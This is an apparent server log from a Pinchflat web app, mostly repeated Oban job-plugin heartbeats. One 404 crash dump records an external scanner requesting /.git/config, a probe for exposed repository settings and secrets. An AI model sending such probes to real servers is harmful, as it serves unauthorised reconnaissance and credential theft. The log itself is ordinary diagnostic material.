{"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:39.612 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.594 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:09.614 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:39.616 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.595 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:09.618 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:39.620 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.604 [info] {"source":"oban","duration":6456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:09.623 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:39.625 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.608 [info] {"source":"oban","duration":2551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:09.627 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:39.630 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.609 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:09.632 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:39.637 [info] {"source":"oban","duration":3801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.613 [info] {"source":"oban","duration":3377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:09.639 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:39.641 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.617 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:09.644 [info] {"source":"oban","duration":1934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:39.646 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.619 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:09.648 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:39.650 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.624 [info] {"source":"oban","duration":3348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:09.657 [info] {"source":"oban","duration":6009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:39.659 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.627 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:09.661 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:39.663 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.630 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:09.665 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:39.667 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:51.917 [info] GET /.git/config 16:55:51.972 [debug] QUERY OK source="settings" db=5.8ms queue=0.1ms idle=668.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:51.979 [debug] QUERY OK source="settings" db=3.5ms queue=0.1ms idle=681.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:51.989 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:55:51.994 [error] #PID<0.9941.0> running PinchflatWeb.Endpoint (connection #PID<0.9940.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 40992}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Linux; Android 9; SM-G950U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.250", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.9941.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (Linux; Android 9; SM-G950U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.250"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-QlccGcShHoB8AAJDD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 40992}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Linux; Android 9; SM-G950U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.250", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 40992}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Linux; Android 9; SM-G950U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.250", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.9941.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (Linux; Android 9; SM-G950U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.250"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-QlccGcShHoB8AAJDD"} ], scheme: :http, (truncated) 16:56:00.631 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:09.669 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:39.671 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.635 [info] {"source":"oban","duration":1868,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:09.673 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:39.675 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.637 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:09.677 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:39.680 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.639 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:09.682 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:39.684 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.641 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:09.686 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:39.688 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.642 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:09.726 [info] {"source":"oban","duration":36807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:39.729 [info] {"source":"oban","duration":2128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.651 [info] {"source":"oban","duration":3549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:09.733 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:39.738 [info] {"source":"oban","duration":4401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.654 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:09.746 [info] {"source":"oban","duration":7243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:39.749 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.659 [info] {"source":"oban","duration":4325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:09.756 [info] {"source":"oban","duration":3617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:39.758 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.661 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:09.760 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:39.762 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.664 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:09.764 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:39.766 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.666 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:09.768 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:39.772 [info] {"source":"oban","duration":3037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.667 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:09.782 [info] {"source":"oban","duration":8724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:39.784 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.668 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:09.786 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:39.789 [info] {"source":"oban","duration":2243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.669 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:09.791 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:39.795 [info] {"source":"oban","duration":2668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.673 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:09.796 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:39.798 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.675 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:09.800 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:39.803 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.682 [info] {"source":"oban","duration":5271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:09.805 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:39.807 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.685 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:09.810 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:39.812 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.690 [info] {"source":"oban","duration":3424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:09.814 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:39.816 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.697 [info] {"source":"oban","duration":5862,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:09.820 [info] {"source":"oban","duration":3005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:30.221 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:16:39.822 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.698 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:09.825 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:39.827 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.700 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:09.829 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:30.243 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:18:39.831 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.703 [info] {"source":"oban","duration":2371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:09.833 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:39.835 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.706 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:09.845 [info] {"source":"oban","duration":9111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:39.849 [info] {"source":"oban","duration":2474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.708 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:09.855 [info] {"source":"oban","duration":4690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:39.856 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.710 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:09.858 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:39.862 [info] {"source":"oban","duration":2972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.714 [info] {"source":"oban","duration":2957,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:09.864 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:39.868 [info] {"source":"oban","duration":2444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.716 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:09.872 [info] {"source":"oban","duration":2708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:39.874 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.718 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:09.879 [info] {"source":"oban","duration":3609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:39.880 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.720 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:09.882 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:39.884 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.722 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:09.886 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:39.888 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.729 [info] {"source":"oban","duration":6296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:09.890 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:39.892 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.733 [info] {"source":"oban","duration":2894,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:09.894 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:39.896 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.738 [info] {"source":"oban","duration":3139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:09.898 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:39.901 [info] {"source":"oban","duration":2367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.742 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:09.908 [info] {"source":"oban","duration":6609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:39.911 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.744 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:09.913 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:39.915 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.745 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:09.918 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:39.920 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.746 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:09.922 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:39.926 [info] {"source":"oban","duration":2718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.747 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:09.928 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:39.932 [info] {"source":"oban","duration":2917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.748 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:09.934 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:39.936 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.754 [info] {"source":"oban","duration":5036,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:09.938 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:39.942 [info] {"source":"oban","duration":2692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.760 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:09.945 [info] {"source":"oban","duration":1810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:39.947 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.761 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:09.951 [info] {"source":"oban","duration":2390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:39.953 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.763 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:09.955 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:39.957 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.764 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:09.959 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:39.961 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.769 [info] {"source":"oban","duration":3306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:09.964 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:39.964 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 